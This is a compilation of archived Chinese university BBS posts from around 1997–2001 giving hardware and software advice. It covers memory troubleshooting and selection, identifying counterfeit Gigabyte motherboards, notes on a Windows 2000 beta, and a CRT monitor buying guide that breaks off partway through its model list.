辑没有问题，热稳定性也正常，如果再排除电源接触不良、接口 接触不良等原因，那么很有可能是内存接触不良所引起。这时可 把内存条拔下后重新插入，一般便可解决问题。另外，有些主板 要求所有内存条必须全部插好才能引导，而有些主板只要求至少 有一块内存条插好便可正常引导，但此时所检测的内存数与实际 内存数不符，此时也应拔下内存条把其重新插好。顺便说一句， 一些兼容机的非正规的主机板对内存条的固定较差，紧靠槽边的 塑料卡口固定，由于塑料片比较薄脆，再插拔时很容易折坏，而 一旦损坏后就很难固定，因此必须小心操作。“Packed file corrupt”故障。DOS 5.0以上版本使用了HIMEM.SYS和 EMM386.EXE内存管理程序后，可将DOS系统本身装入HMA，将TSR 和设备驱动程序装入UMB，给应用程序留出了更多的常规内存空 间，使得应用程序可以装入前面的64KB内存。这本来是很有用 的，但有些程序装入第一个64KB运行时却会出现“Packed file corrupt”错误而不能运行，有时甚至出现死机。出现此种错误 的原因，是由于这些被运行的程序通过EXEPACK压缩过的程序， MS-DOS在执行用EXEPACK压缩过的程序时先开包，把原来的程序 和DOS替换过的程序进行比较。由于EXEPACK程序计算时并没有考 虑到会在低64KB内运行，数据段地址计算时没有比较是否小于 0，这样，EXEPACK就取不到正确的地址，只好显示“Packed file corrupt”。由于EXEPACK应用及其广泛，Microsoft只好 在DOS中弥补这个漏洞，用LOADFIX命令来加载用EXEPACK压缩过 的程序以进行特殊处理。所以，当运行一个程序时出现“Packed file corrupt”时，就用LOADFIX命令将其加载到首个64KB内 存，如：C:\>LOADFIX TEST.EXE。配置了高速缓存，但机器速 度仍然很慢。此时有可能是CMOS中关于高速缓存的设置不当所引 起。目前386以上的计算机，都提供了64KB或64KB以上的高速缓 存，486以上的计算机都提供了内部缓存，此时应把CMOS中 “Internal Cache Memory：”设置为Enabled，这将使机器运 行速度大为提升，如果设置为Disabled，将会大大降低机器的运 行速度。386及以下的计算机一般都没有提供内部高速缓冲存储 器，所以这项值应设置为Disabled，如果设置成了Enabled，则 很容易发生死机现象。 本文作者：赵江波 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 168.160.224.174]
发信人: Rosan (冰), 信区: Hardware 标 题: 真假技嘉主板识别 发信站: 日月光华站 (Tue Apr 17 11:58:14 2001) , 站内信件 技嘉主板真伪识别方式 摘自:倚天硬件周刊第43期 在刚刚过去的新千年中，作为全球最大的计算机主板制造商之一的技嘉科技，得益 于有力、有序的渠道建设，在国内主板市场中取得了骄人的销售业绩。面对今年竞争更 加激烈的市场，技嘉科技将会始终秉承品质第一的经营理念，继续为广大用户提供更优 良的产品。 　　但也正是由于技嘉取得的巨大成功，使得一些不法商贩认为抓住了机会，制造、销 售假冒的技嘉产品，以期利用技嘉良好的品牌形象，达到其贪婪的赢利欲望。对于这种 肆意破坏技嘉企业形象，欺骗消费者的不法行为，技嘉除了会寻求正规销售管理部门的 帮助外，还要在此向众多支持、信任技嘉产品的用户，针对现在市场上出现的几款假冒 技嘉产品介绍一下简单的真伪识别方法，力求将用户的损失降低到最小程度。 GA-6VXE7+ 　　这款产品由于伪品的制作水平不是很高，因此销售人员可以通过多种方式识别出真 伪。分辨方法如下： 首先看产品的PCB版本号：真品为REV2.0，伪品为REV1.0且背面无产品商标。 接下来识别LOT.NO.和DIP：真品的批次号最后一位有一个英文自负，而伪品则没有 。真品的DIP有上角由“ECE”字样，伪品则是“DT”字样。 然后来看主板的注释：真品在AGP和PCI插槽间有“z磁×××××”注释，伪品则 没有；另外，真品上SW2设定注释在AGP插槽和北桥之间，伪品上SW2在北桥右侧和DIMM插 槽上方。 再来检查Floppy接口：真品的此接口与IDE2为一排，伪品与IDE1为一排。 下来是识别Battery部分：真品采用Panasonic或SONY的电池，伪品采用带有日文和 LITHUM标示的电池。 最后是观察AWARD BIOS贴纸：真品为长方形且带激光防伪标志，伪品为正方形无激 光防伪标志。 GA-6OXM7E 　　这款主板在市场中销售的伪品，制作的最为逼真，除了在个别电容、电阻的区别外 ，几乎无法进行真伪的区分。不过，我们通过对比还是发现了几处不同之处，可以让非 主板的技术人员直接识别。具体如下： 首先还是要看产品PCB版本号：真品为REV 1.2 伪品为REV 1.0 背面无产商标识。 再有就是LOT.NO.和Battery部分：真品的批次号最后一位有一个英文字符，而伪品 则没有。 真品采用SONY的电池，伪品采用带有日文和LITHUM标示的电池。 GA-BX7 　　相应的市场上还有少量的GA-BX7，但因为该产品仿冒的技术非常高，一般的技术人 员可能都无法辨识，而且PCB版本与市场上销售的版本同为REV2.4，电池也采用的是SON Y的。只是在PCB板印刷字体上采用的是细体个别用料上采用的也是较低廉的厂家品牌的 产品。 · 以上三款产品皆为近期内所查获假冒产品，其共同的外观辨别指出为外包装材质 低略，盒内所携带说明书和驱动光盘也是印制粗糙，可同外观直接辨别。同时主板上的 所附的主板序列号虽然无法直接通过外观辨别，但可通过技嘉北京办事处查证。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.76.120.1]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: maniac (乐乐), 信区: Hardware 标 题: PC的存储器---------------------狂人斋 发信站: 日月光华站 (Wed Aug 27 17:04:13 1997) , 转信 PC的存储器 撰稿人 李肖峰 赵 健 怎样选配内存条？ PC中用作内存的存储器有两种：一是DIP内存芯片，一是SIMM内存条。早期P C机所采用的DIP（Dual In－line Package，双列直插式封装）内存是普通双列直 插内存芯片，常见的单片容量有256KB、1MB等几种，后因其安装位置较大，容量 又较小，不便于扩展，故已趋向淘汰。目前中高档微机均采用全称叫单列直插式 存储器模块的SIMM（Single In－line Memory Modules）内存条，因为安装一条 SIMM的容量最大可相当于安装九片DIP型DRAM芯片。 一、内存条的选配 SIMM内存条虽然有不同的生产厂家，但有统一的引脚标准，常见的有30线、 72线和专用内存条三类，分别适用于不同档次的微机。当微机需要扩展内存容量 或原内存条损坏须更新时，应精心选择。因为内存条的性能直接关系着微机的数 据高速处理能力能否充分发挥，关系着微机运行的稳定性和可靠性。选择内存条 应主要考虑其引脚数、容量、速度、奇偶校验性和品牌等几项性能指标。 1�引脚数：由于系统板X86系列的差别以及用途差异，主板上SIMM槽口的针 脚数有72线和30线两种，内存条应根据槽口引脚数选用，以与之相匹配。 2�容量：30线的内存条在容量大小上一般有三种：256KB、1MB、4MB；72线 的内存条现有五种容量规格：1MB、4MB、8MB、16MB、32MB，其中8MB和32MB为双 面内存条。 对于30线内存条，由于它们的数据是8位／条，因此，当用于286、386SX CP U等16位数据线的电脑时，必须成对使用；当用于386DX、486等有32位数据线的电 脑时，必须把四个完全一样的内存条放在一起，组成一个BANK（体）使用，否则 计算机将因位数不齐、无法传输数据而死机。由于奔腾机具有64位数据线，因此 若用30线内存条，每次至少要用两个BANK即8条，不但滥占插槽，争抢机箱空间， 且易发生接触不良和损坏等问题，再加上每条内存最大仅4MB，故586主板不用这 种形式，而直接使用72线内存条。 72线内存条的数据线为32位，因此在32位的主机板上，可以单独使用。如果 用于586电脑，每次用两个完全一样的SIMM组成一个BANK即可。 3�速度：这是内存条的一个重要指标，以纳秒（ns）表示，一般有60ns、7 0ns、80ns和120ns等几种，数值越小，内存条速度越快，数值越大，内存条速度 越慢。只有当内存条与主板CPU速度相匹配时，才能发挥计算机的最大效率，若内 存慢而主板快，则影响CPU高速性能的充分发挥，还可能造成系统崩溃。 识别内存条的容量和速度不必“火眼金睛”，采用以下办法一观便知：拿出 一内存条，看其芯片的背面，找出2的幂数字64、128、256、512或数字10、100、 1000，其中2的幂数就是芯片相应的容量，单位为KB；10的倍数系列分别表示内存 条容量为1MB、4MB、8MB。要确定内存条速度，可以看芯片连字符后面的数字，在 其后增加一个0即可得到以纳秒（ns）为单位的速度值，如－6表示60ns，－7表示 70ns。不过一些不良商家，以劣充优，以低冒高，明明80ns的内存条硬改为70ns 。数字串中的第二位表示该芯片的位数，不过因生产厂家的不同，有些芯片的标 写方法也不一样，但总的规则基本一致。 4�奇偶校验：奇偶校验内存条需要额外的内存芯片，一般3片或9片内存条应 该有奇偶校验。由于现在DRAM生产工艺趋于成熟，品质趋于稳定，因此72线SIMM 一般不再有奇偶校验位。对于一般用户，奇偶校验没有实际意义，是否带有奇偶 校验功能不是区分内存条质量优劣的标准。 5�品牌：品牌是产品质量的保证，是售后服务的承诺，为了保证电脑的可靠 性和便于维护，应尽量选择NEC、Goldstar、韩国现代、三菱等名牌SIMM为好。目 前中关村电子市场上，4MB 8片的韩国现代牌内存条价格约为280元。 现在的软件运行，不但对CPU速度的要求越来越快，而且对内存容量的要求也 越来越大。国内微机大量采用的系统软件WINDOWS 3�1，要求内存4MB；字处理软 件WORD 6�0中文版要求8MB；绘图软件CAD／CAM要求16MB；3D Studio 4�0要求 32MB以上。所以在选配时要尽量在最少数量的内存条中得到最大容量的内存，以 节省内存插槽，利于日后扩展。 二、内存条的安装 往主板插槽中安放内存条时，只要把SIMM在插槽中斜着放好，然后用两个手 指推内存条两端的上面，推正之后，再用插座两端的卡子，卡好内存条两端的两 个小圆孔便可（见下图）。 拆卸旧的或坏的SIMM时，先打开两边槽卡，一边轻轻晃动内存条一边往外拔 即可。 三、常见内存条配置故障 电脑内存条配置不当主要是指所用的DRAM读写时间过慢、同“BANK”的内存 条不是一个厂商或不是同一速度的产品，这样往往会引起电脑死机，或者在运行 WINDOWS时经常丢失群组的图标。这类问题在电脑配有外部Cache时，用工具软件 检查内存条是发现不了的。因此配置内存条时应尽量使用同一厂家、同一速度的 产品，至少在一个“BANK”中要这样。另外，在检查此类故障时，一般用代替法 ，即用质量好的内存条替换试验。 -- 饱蘸诚挚的友谊 挥洒纯真的情感 写下欢乐的诗章 吐露无悔的青春 ──乐乐，愿与大家交朋友 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: ms] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: wei (永远的旁观者), 信区: MS_Windows 标 题: Windows 2000 beta版使用手记 (转载） 发信站: 日月光华站 (Fri Jun 4 22:09:57 1999) , 转信 Win2000共有四个版本: Windows 2000 Professional就是以前的NT Workstation, 用做替代Win98的. Windows 2000 Server就是以前的NT Server, 支持2个CPU,Active Directory Windows 2000 Advanced Server就是以前的NT Enterprise, 支持4个CPU,集群 Windows 2000 Datacenter Server,新出的, 支持16个CPU 64GB RAM, 用于数据 仓库,商务分析,科学工程模拟,在线交易. 现在市面上由很多个beta版: beta1有NT5 Workstation,NT5 Server with Active Directory.(都用过) beta2有NT5 Workstation,NT5 Enterprise(只用过这个) beta3有Windows 2000 Professional,Windows 2000 Advanced Server(正在用) 注意:因为微软改了几次名字,所以不同beta版不同叫法.买的时候要注意. beta版使用手记: 早就想写了, 但刚放假, 我想先玩一下新游戏, 就拖了一个星期. 但玩来玩去还 是quake2好玩. 总的来说beta1就像加了ie4的nt4. beta2就开始好了, 界面比win98还漂亮, 开 始支持多语言了, 用mmc做控制界面. beta1和beta2就写这么多了. beta3:首先安装像nt4差不多, 但没有了/b/ox等关于制作磁盘的参数. 到图形界 面安装就更加简单, 好象只要输个名字, 密码就没了. 不过正式版可能会有更多 的选项. 装了多长时间我不知道,我是一边看电视一边装的. 我的Windows 2000 Professional有540m左右. 装完之后重起, OS Loader换成5.0的(废话). 接着就不是蓝屏了, 取代的是像w in98开机图片的, 直接给一张什么Windows 2000 Professional的图片, 接着内核 装载完, 再换一次图(像nt4的蓝屏之后的第一张图片), 现在开始启动windows的 服务, 网络什么的. 第一次进入win2000,start menu上有一个圈, 介绍start menu.像office97助手 说话的那种. 点一下, 菜单是渐渐出现的, 非常漂亮, 鼠标上还有阴影的, 我怀 疑微软不用GDI而是用D3D显示windows了, 如果是就太好了, 3D加速卡就不是只能 用来打游戏. 再看一看桌面,图标摆放顺序不一样了, My Document放第一位,充分体现了以文 档为中心的操作系统的思想, My Document里摆放fax,my pictures. 这两个都是 特殊的folder, fax没用过, 而my pictuers是新的Image Perviews HTML templa te(就是ie4的Web view的一种), 在这可以直接放大, 缩小, 全屏, 打印图片. 第 二个是My Computer, 多了一个Web Folders, 这ie5都有, 而Dial-up Networkin g被分出去, 还改了名字Network and Dial-up connections, 是在左边的最后一 个Link. 不仔细看是看不出的, 可能微软想淡化拨号这一概念, 所有的联接都是 自动(自动拨号), 使人以为一直在网络里. 现在toolbars都可以定制了, 可以定 制有效, 个性化的toolbars, 我觉得Selective text on right最有用, 因为有 些图标加文字是应该的, 常用的又可以省去文字, 减少的地方占用. Web view也 应该说一下, nt5的web view跟ie4的不一样,它使用了html, css, javaScript, 和非常多的控件实现(内部的), 比起ie4的就更加复杂, 有更多功能. 就是左边的 地方, 多了很多Links和按钮, 而且布局挺漂亮, 我就不想再用以前那光秃秃的什 么也没有的界面. 说道界面, 我就说一下新的Search程序(就是File fine), 现在 它做在exploer里面的, 再加上dhtml等技术做成一个新的外观. 虽然没有什么特 别,但用这种方法来实现一个程序, 让我想起如果unix也用这种方法来改进它的程 序界面就好了. 为什么呢, 因为写uinx程序的人,都不太注重界面,(写与界面交互 的程序还是比较烦的, 就算有了可视化的..), 但用html写界面比较简单, 加上s cript或其他的就可以与程序(控件)组成一个GUI的, 这只需在xwin上加一个好的 browser(ie4??), 而且编程的和写界面的可以分开, 效率挺高的. 这样unix就不 会说难用, 有机会跟windows竞争.(99年第一期个人电脑上就介绍了一个程序, 就 是用ie4加dhtml等, 做成一个图形软件, 像photo shop那种) 所以到现在, 你不会觉得ie集成在windows是多余的了吧. 第三个是My Network Places 以前的Network Neighbour的改进, 改进的地方太多了, 总的来说就是让 新手更加容易使用, 而提供给熟练的人更多选项. 注意, 网上就算没有dhcp, 而 你又把网卡设成自动获得ip, 它会给自己一个169.*.*.*的ip(这跟win98的某一个 功能相似). dns设置中有两项 Register this connection's address/domain name in DNS 实用来支持新的DDNS, 像WINS一样的. 这个十分有用. 由于微软设 计用Active Directory来取代Netbios over TCP/IP, 所以WINS快没用了.(其实没 有NBT这个包袱, NT早就用上目录服务了). IP security, TCP/IP filtering就是 新加的. 你还可以把网络状态放进notify bar, 像拨号网络一样, 可以看流量,速 度等, 很好玩. 现在说一下一些零碎的东西. Users and Passwords 是统一管理用户, 认证, 登 陆, 密码的地方. Network and Dial-up Connections, Administrative tools, Scheduled Tasks, 都移到Control Panel里. Administrative tools里的管理程 序都使用mmc做框架, 据说有利于远程管理. Add/Remove Hareware Wizard比win 98的还好用, 速度更快(不过高手都用Device Manager), 不过可惜没有我的vood oo2, pci64 sound card, zoltrix winhsp modem驱动程序, 声音就没了, 打游戏 只能用i740, 不过它的驱动程序也是有问题, 在quake2里用不了default opengl . 不过用旧的卡就不怕, 我用s3 virge/ess1868是正常的. Add/Remove Program s可以直接看到你安装的程序的大小, 自带的组件只有几个, 可能是beta版的缘故 . Regional Options就是该多语言的地方, 把General-> Your locale (loction )改成Chinese(PRC), Language Setting for the system加入你想要看的语言, 什么简繁体, 日文, 韩文...都可以. 还可同屏显示. 在Input locales加入输入 法, 我只装了微软拼音输入法2.0, 还可以手写输入, 支持鼠标. 还可以用别的手 写输入板插件(入慧笔之类的). Sounds and Munltimedia有一个speech项, 就是 语音识别, 它自带了一个文本到语音的引擎, 没有输入引擎(好像有, 但没显示) , 不过你可以下这个http://activex.microsoft.com/activex/controls/agent2 /actcnc.exe, msagent已经安装, 又一个角色merlin. 你可以到http://www.arg olink.com/agent/ 找一些它的应用程序, 下一代的界面都会有它(www.microsof t.com/msagent), 我在agent的新闻组听说过新版的via voice会支持这个接口, 很快就会有中文输入了(大家试以下via voice 98, 看行不行, 我还没找到, 听说 还支持广州话). 写到这里大家可以看到手写输入, 语音输入都会变成标准输入. 就像键盘, 鼠标一样.(微软在这方面还是挺有推动力的) 因为还是beta版, 我就不写其他复杂的功能了, 你自己慢慢试吧. 总的来说, w in2000是一个非常好的升级, nt4 与 win2000的变化, 比win95和win98还要大. 速度吗, 还可以, 好像比win98慢10%-30%(不同情况下表现不同), pII450是够的 , 64m还可以, 不过还是128m最好, 因为Mem usage一般在80m左右. 内存够了, 就 不用升硬盘. 正式版出后, 速度还会更快.(完) mail to eric_xue@263.net -- 我没有什么高见， 我也不想发表什么意见， 我只想是个永远的旁观者。 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.244.202] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 谈谈主流显示器的选购 发信站: 日月光华站 (Tue Nov 16 21:00:38 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 显示器是一台计算机的重要部件，从价格角度上看，显示器一般 在一台电脑中会占有三分之一的份量，有时甚至更多；从视觉角度上 看，显示器也许是电脑中最大的配件，当然也是最直观、最显眼的部 分；从健康角度上看，现代人莫不是非常看重自己的健康、倍加呵护 自己的身体，选购电脑，显示器的选购对健康首当其冲，尤其关系到 对心灵之窗——眼睛的保护，不可不谓之重中之重。所以，显示器的 选购当不能马虎了之。 然而，任何事物都有个度，少之当然不行，多了也未必就好。笔 者不想教读者如何成为显示器的发烧友，去讨论显象管的优劣级别， 或者补偿电路的作用——好的显示器有，七八千或者上万几万的显示 器当然好，然而不是每个人都可以这么洒脱地一掷千金，90%以上的 用户选购显示器不会到吹毛求疵的地步，包括笔者在内，够用就好、 按需选择，永远是DIY不灭的真理！那么，就让我们一起看看主流显 示器的选购吧。 哪个档次的显示器算主流 讨论主流显示器，先要搞清楚主流显示器的范围，昂贵的液晶显 示器当然不能算主流，我们要谈的，肯定是最常见的CRT显示器，即 阴极射线管显示器。定了大方向，其它的就好说了，主流显示器的特 征无外乎可以从这么几个方面来分析：屏幕尺寸、性能指标和购买价 格。 屏幕尺寸。这一方面不用费太多口舌。现在电脑市场上14英寸的 显示器已经很难找了，15英寸的显示器所占的比例也越来越少，而17 英寸显示器正逐渐成为主力军，其价位已经比较容易被接受，而且进 一步降价是必然的事情。如果你能承受，完全应当直接考虑选择一台 17英寸的显示器，如果实在预算紧张，15英寸的显示器也未必不是好 的选择。 性能指标。这个标题大了些，可以细分成不少具体方面。 1.显示器表面构造。这是由显示器所采用的显象管决定的。球面管 显示器已经被淘汰，目前市场上的主流应该是平面直角显示器和 柱面显示器，最先进的当然是刚问世没多少时间的纯平面显示 器，或者叫完全平面显示器，但大多数此类显示器仍比较昂贵， 只有少数的价格跌进了主流显示器的圈子。 2.点距。点距越小显示器画面就越清晰自然。现在大多数主流显示 器仍然是0.28mm，不少0.26mm、0.25mm甚至更小点距的显示器 也纷纷成为主流，提供了更好的选择。 3.分辨率、垂直刷新频率。把这两个性能放在一块是因为它们是相 辅相成的。目前主流显示器至少应当能达到垂直刷新频率85Hz 下，分辨率1024*768的水平，最高分辨率至少应为1280*1024 （垂直刷新频率60Hz下）。这个要求可以说一点儿也不高。 4.带宽。这是衡量显示器综合性能的最直接的重要指标。主流显示 器带宽至少应该能达到80MHz，能上到100MHz或110MHz以上则更 好。 5.辐射及环保标准。主流显示器都能达到MPRII标准，大多数也都 应该具备TCO95标准，鉴于对健康的影响，能达到TCO99标准当然 更好。省电节能方面，能满足EPA能源之星绿色标准是主流显示 器的必须指标，当然，现在显示器没达到这个标准的已经不常见 了。 6.其他方面。象可视面积越大、输入接口、调控方式及调节功能越 多等等，对于主流非主流显示器的划分，影响不大，看个人选择 了。 购买价格。价格也许是决定主流显示器范围最直接的因素了。15 英寸显示器普通管1600元以下、柱面管（特丽珑、钻石珑）2000元以 下，17英寸显示器普通管2500元以下、柱面管3000元以下、高档柱面 管和完全平面显示器4000元以下，都应当算是主流显示器，也是目前 电脑市场上正当买的显示器。 主流显示器的选购要点 接下来说说选购一台主流显示器时应当注意的方面。包括选购原 则和技巧两方面。 先来讲讲选购策略及心态。很多朋友在购买电脑时，往往先考虑 象CPU、主板、3D显示卡等等配件，到后来才在所剩不多的预算中， 拿出一部分购买显示器，往往最后的选择不近人意。孰不知显示器是 一台电脑中最保值的配件之一，其技术升级换代比较缓慢，不容易被 淘汰，是最值得一次到位的投资。同样在选购心态上，盲目追新追好 追大亦完全没有必要，应当清楚地分析自己的需求，普通用途就选普 及型、家用型的，充其量对辐射等健康指标严要求就可以了；搞设 计、搞图形图像的再选高档次的。明确需求后，确定预算及最看重的 指标，然后尽可能挑选一台好一些的显示器，所谓钱要花在刀刃上， 正是其理。 到具体挑选时，就要注意一些了。其实显示器的主要指标也就那 么几条，一目了然，但具体到选购时仍然需要掌握一定的技巧。 首先确定选择多大尺寸的显示器后，就该选定显象管的类型了， 是普通管、柱面管还是完全平面管，性能依次由低到高，显示质量当 然也越来越好。需注意的是，柱面管中索尼特丽珑管偏暖色调，画面 略显偏红，而三菱钻石珑管则偏冷色调，画面略偏蓝。完全平面管也 有很多种厂家的，根据个人喜好和价格综合考虑吧。显示器的外观也 十分重要，和选择哪个品牌一样，完全取决于自己的喜好。其实采用 同一种显象管的显示器，档次基本差不多，最终的选择往往决定于对 某一外观设计的喜爱和对某一厂家品牌的信任。选定了显象管，点距 这一重要参数也就随之定了。普通管显示器点距多为0.28mm，少数可 以达到0.26mm，柱面管显示器叫栅距，目前都是0.25mm，完全平面显 示器高一些，0.25mm、0.24mm的甚至更高的都有，但也贵得出奇。 到确定选什么具体型号的时候了。这时需注意现在有些厂商为了 迎合消费者心理，吸引购买者，往往喜欢在宣传中引出一些技术参 数，利用大多数用户对这些技术概念上的混淆，用类似技术参数或用 不确切的数据来掩盖真正的技术参数，造成消费者选择的失误，有误 导之嫌。例如水平点距这个概念，很容易与真正的点距搞混，水平点 距为0.24mm的，点距其实是0.28mm。也许你会被经销商举出的或宣传 资料上列出的各种技术参数搞得晕头转向，但只要认准几点，就可以 了：带宽以MHz为单位，值越高越好，带宽越大，在高分辨率下就越 稳定；分辨率和垂直刷新频率要一起看，假设一台显示器的最高分辨 率为1600*1200，此时垂直刷新频率在60Hz以上的才是可实用最高分 辨率，否则这个最高分辨率就是假的，在同一分辨率下，垂直刷新频 率能上得越高说明该显示器越好，对于主流显示器来说，15英寸显示 器能支持1024*768分辨率下的85Hz刷新频率、17英寸的能支持 1280*1024分辨率下的85Hz刷新频率就能满足要求了，其实这两个 值，是取决于带宽高低的，这就是为什么说带宽是衡量显示器综合性 能的指标了；辐射及环保标准，通过得越多当然是越好，但最重要的 就是TCO系列，有TCO92、TCO95、TCO99三种，越来越严格，需注意 有的显示器TCO认证属于备选，要的话还要多加MONEY的，这个要问清 楚。其它方面就都不算太重要了，象水平扫描频率，范围越宽越好； 可视尺寸越大越好；调节功能越多越好；功耗越小越好；专业一点的 显示器除15针D型接口以外，还会多提供一个D-SUB/BNC输入接口；是 否支持USB接口，支持即插即用，防眩、防静电，超清晰涂层，短 管、短机身设计等等，越丰富越好，这些各家产品、各种型号都不一 样，自己看着选吧。 到此为止一直都还停留在表面数据上，其实真正选购时，主观评 测才是最重要的，因为显示器毕竟是买回去看的，那么选购的时候 “看”就显得十分重要了。那么看些什么呢？首先看外观，外形是否 满意、机身是否整洁干净无划痕、操控是否方便，按键或者飞梭使用 是否灵活舒适，注意一些细节，例如调控功能是否齐全、调控菜单是 否中文，有很多朋友要求中文菜单操作以避免失误，那么就要注意 了。这些是主观因素，由自己的喜好决定。商家用来演示的画面，一 般都是经过特制的，有时能掩盖一些显示器的缺陷，所以，最好提出 到WINDOWS操作系统中，自己亲手操作检验。亲自走近操作看一下显 示效果，文字清不清晰、对比度大不大，可以设成小字体观察，看看 四角和屏幕边缘地区字迹有无明显模糊变形、重影、抖动等现象。可 以拿一些花草等鲜艳的图案检验色彩均不均匀，图像色彩饱和度及柔 和度如何，图像细节表现层次感、立体感如何，图像是否清晰、鲜 艳、亮丽，亮度够不够大，有没有明显的失真、瑕疵等等，特别注意 图像的边缘，有无扭曲变形、过度是否平和而层次分明。还应该把屏 幕设成纯白色，看看有无偏色现象。边看边调节，有时在转换中可以 发现不少问题。性能参数再好，直观的检测通不过也不行。记得还要 检查接线等是否牢固等等，才能算大功告成。 最后要注意的就是售后服务。要选择有信誉的品牌及商家，确保 日后有较好的维修保障服务。这样，相信能选择到一台中意的显示器 了。 主流15及17英寸显示器推荐 最后，向大家推荐一些主流的15、17英寸显示器。 15英寸显示器 1.飞利浦105A/105G 价格1500/1600元。 105A性能参数：带宽79MHz，最高分辨率1280*1024@60Hz，建议 分辨率1024*768@85Hz，点距0.28mm，水平扫描频率30-70KHz， 垂直扫描频率50-160Hz。 105A特性评述：符合TCO92标准。 105G性能参数：带宽108MHz，最高分辨率1280*1024@60Hz，建 议分辨率1024*768@85Hz，点距0.27mm，水平扫描频率 30-70KHz，垂直扫描频率50-160Hz。 105G特性评述：符合TCO99标准。XSD超空间设计，机身深度仅 379mm。可选多媒体及USB底座。 2.三星550S/550B 价格1380/1580元。 550S性能参数：带宽80MHz，最高分辨率1024*768@75Hz，建议 分辨率800*600@85Hz，点距0.28mm，水平扫描频率30-61KHz， 垂直扫描频率50-120Hz。 550S特性评述：可选TCO95标准。 550B性能参数：带宽110MHz，最高分辨率1280*1024@60Hz，建 议分辨率1024*768@85Hz，点距0.28mm，水平扫描频率 30-70KHz，垂直扫描频率50-160Hz。 550B特性评述：可选TCO95标准。半透明中文OSD菜单。 3.ACER 57C 价格1450元。 性能参数：带宽110MHz，最高分辨率 1280*1024@66Hz，建议分辨率 1024*768@85Hz，点距0.28mm，水平扫描频率30-70KHz，垂直扫 描频率50-120Hz。 特性评述：可选TCO95标准。细颈显象管，动态聚焦，5组色温调 节。 4.美格XJ500T 价格1950元。采用索尼特丽珑显象管。 性能参数：带宽80MHz，最高分辨率1280*1024@65Hz，建议分辨 率1024*768@85Hz，点距0.25mm，水平扫描频率30-70KHz，垂直 扫描频率50-120Hz。 特性评述：符合TCO95标准。飞梭单键。 17英寸显示器 1.爱国者700A/700A plus 价格1880/1999元。 700A性能参数：带宽108MHz，最高分辨率1280*1024@60Hz，建 议分辨率1024*768@85Hz，点距0.28mm，水平扫描频率 30-70KHz，垂直扫描频率55-120Hz。 700A特性评述：高性价比。 700A plus性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.27mm， 水平扫描频率30-70KHz，垂直扫描频率55-120Hz。 700A plus特性评述：高性价比。 2.飞利浦107G 价格2480元。 107G性能参数：带宽108MHz，最高分辨率1280*1024@60Hz，建 议分辨率1024*768@85Hz，点距0.27mm，水平扫描频率 30-70KHz，垂直扫描频率50-160Hz。 107G特性评述：符合TCO99标准。XSD超空间设计，机身深度仅 408mm。可选多媒体及USB底座。 3.三星750S 价格2480元。 750S性能参数：带宽110MHz，最高分辨率1280*1024@60Hz，建 议分辨率1024*768@85Hz，点距0.28mm，水平扫描频率 30-70KHz，垂直扫描频率50-160Hz。 750S特性评述：可选TCO95标准。半透明中文OSD菜单。 4.LG 775N/795FT+ 价格2380/3900元。 775N性能参数：带宽110MHz，最高分辨率1280*1024@60Hz，建 议分辨率1024*768@85Hz，点距0.27mm，水平扫描频率30-70KHz， 垂直扫描频率50-160Hz。 775N特性评述：菜单调节功能丰富，清晰度不错。 795FT+性能参数：带宽203MHz，最高分辨率1600*1200@75Hz， 建议分辨率1280*1024@85Hz，点距0.24mm，水平扫描频率 30-96KHz，垂直扫描频率50-160Hz。 795FT+特性评述：符合TCO99标准。完全平面显示器，是最便宜 的完全平面显示器，但性能不错，超值性价比，属于高档显示 器。 5.ADI 5PM/GT56 价格2580/4300元。分别采用日立蓝色星钻超黑增强显象管/索尼 特丽珑显象管。 5PM性能参数：带宽108MHz，最高分辨率1280*1024@60Hz，建议 分辨率1024*768@85Hz，点距0.28mm，水平扫描频率30-69KHz， 垂直扫描频率50-160Hz。 5PM特性评述：可选TCO95标准。文本图像清晰度都不错。 GT56性能参数：带宽203MHz，最高分辨率1600*1200@60Hz，建 议分辨率1280*1024@85Hz，点距0.25mm，水平扫描频率 30-96KHz，垂直扫描频率50-160Hz。 GT56特性评述：符合TCO99标准。性能不错，高档显示器，但价 格偏高。 6.华胜K7034 价格2750元。 性能参数：带宽135MHz，最高分辨率1600*1200@75Hz，建议分 辨率1280*1024@85Hz点距0.26mm，水平扫描频率30-95KHz，垂 直扫描频率50-160Hz。 特性评述：可选TCO95标准。可视面积大，性能不错，功能齐 全，性价比极高。 7.ACER 77e/79g 价格2400/4100元。分别采用日立显象管/三菱钻石珑显象管。 77e性能参数：带宽110MHz，最高分辨率1280*1024@67Hz，建 议分辨率1024*768@85Hz，点距0.27mm，水平扫描频率30-72KHz， 垂直扫描频率50-120Hz。 77e特性评述：符合TCO95标准。文本图像清晰度都不错，亮度 高。IKEY按键设计，调节功能非常丰富。 79g性能参数：带宽160MHz，最高分辨率1600*1200@76Hz，建议 分辨率1280*1024@85Hz，点距0.25mm，水平扫描频率30-95KHz， 垂直扫描频率50-160Hz。 79g特性评述：符合TCO95标准。性能不错，功能齐全，属于高档 显示器，但价格偏高。 8.美格XJ700T/770T 价格3500/3750元。采用索尼特丽珑显象管。 XJ700T性能参数：带宽100MHz，最高分辨率1280*1024@67Hz， 建议分辨率1024*768@85Hz，点距0.25mm，水平扫描频率 30-70KHz，垂直扫描频率50-120Hz。 XJ700T特性评述：符合TCO92标准。带宽略小，价格不错。 770T性能参数：带宽100MHz，最高分辨率1280*1024@67Hz，建 议分辨率1024*768@85Hz，点距0.25mm，水平扫描频率 30-70KHz，垂直扫描频率50-150Hz。 770T特性评述：符合TCO99标准。功能齐全，“黄金眼”系统， 菜单聚焦调节，价格合适。 9.索尼17ES2 价格3900元。采用索尼特丽珑显象管。 性能参数：带宽100MHz，最高分辨率1280*1024@60Hz，建议分 辨率1024*768@85Hz，点距0.25mm，水平扫描频率30-70KHz，垂 